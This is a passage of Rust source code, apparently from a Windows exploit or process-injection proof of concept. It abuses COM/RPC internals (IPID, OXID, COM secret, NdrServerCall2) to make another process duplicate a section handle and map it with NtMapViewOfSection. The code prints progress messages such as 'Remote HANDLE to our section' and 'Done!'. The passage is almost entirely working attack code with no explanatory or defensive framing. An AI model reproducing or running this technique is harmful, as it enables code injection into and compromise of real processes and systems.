{ 550 | panic!(); 551 | } 552 | 553 | set_call_args( 554 | [ 555 | handle_to_rs, 556 | section_handle.0 as u64, 557 | u64::MAX, // 558 | remote_handle_to_section_address, 559 | GENERIC_ALL.0 as u64, 560 | 0, 561 | 0x0, 562 | 0x7, 563 | 0x8, 564 | 0x9, 565 | 0xA, 566 | 0xB, 567 | 0xC, 568 | 0xD, 569 | ], 570 | target_ipid, 571 | target_oxid, 572 | com_secret, 573 | com_context, 574 | ); 575 | 576 | call_ndr_server_call2( 577 | message_addr2, 578 | target_ipid, 579 | target_oxid, 580 | com_secret, 581 | com_context, 582 | ); 583 | 584 | let remote_handle_to_section = increment_and_read( 585 | remote_handle_to_section_address, 586 | target_ipid, 587 | target_oxid, 588 | com_secret, 589 | com_context, 590 | ) - 1; 591 | 592 | println!( 593 | "[+] Remote HANDLE to our section : {:#X}", 594 | remote_handle_to_section 595 | ); 596 | 597 | if ((win32u_data.virtual_size & 0xFFF) + 0x220) >= 0x1000 { 598 | panic!("[-] win32u.dll .data section is too small. Please use another DLL."); 599 | } 600 | 601 | let start_address3 = unsafe { GetModuleHandleA(s!("win32u.dll\0")).unwrap().0 as u64 } 602 | + win32u_data.virtual_address as u64 603 | + win32u_data.virtual_size as u64; 604 | 605 | let arguments_address3 = unsafe { 606 | GetModuleHandleA(s!("kernel32.dll\0")).unwrap().0 as u64 607 | + kernel32_data.virtual_address as u64 608 | + ((kernel32_data.virtual_size + 8 - 1) & 0xFFF8) as u64 609 | }; 610 | 611 | let target_function3 = unsafe { 612 | GetProcAddress( 613 | GetModuleHandleA(s!("ntdll.dll\0")).unwrap(), 614 | s!("NtMapViewOfSection"), 615 | ) 616 | .unwrap() as u64 617 | }; 618 | 619 | let message_addr3 = write_rpc_message( 620 | start_address3, 621 | arguments_address3, 622 | target_function3, 623 | target_ipid, 624 | target_oxid, 625 | com_context, 626 | com_secret, 627 | ); 628 | 629 | set_call_args( 630 | [ 631 | remote_handle_to_section, // SECTION HANDLE 632 | u64::MAX, // PROCESS HANDLE 633 | arguments_address3 + 0x200, // PVOID* BaseAddres - FIXME 634 | 4, // ZeroBits 635 | 0, // ComitSize 636 | 0, // optionnal SectionOffset 637 | arguments_address3 + 0x200 + 8, // ViewSize 638 | ViewShare.0 as u64, // InheritDisposition 639 | 0x0, // AllocationType 640 | 0x2, // Win32Protect 641 | 0xA, 642 | 0xB, 643 | 0xC, 644 | 0xD, 645 | ], 646 | target_ipid, 647 | target_oxid, 648 | com_secret, 649 | com_context, 650 | ); 651 | 652 | call_ndr_server_call2( 653 | message_addr3, 654 | target_ipid, 655 | target_oxid, 656 | com_secret, 657 | com_context, 658 | ); 659 | 660 | println!("[+] Done!"); 661 | } 662 | --------------------------------------------------------------------------------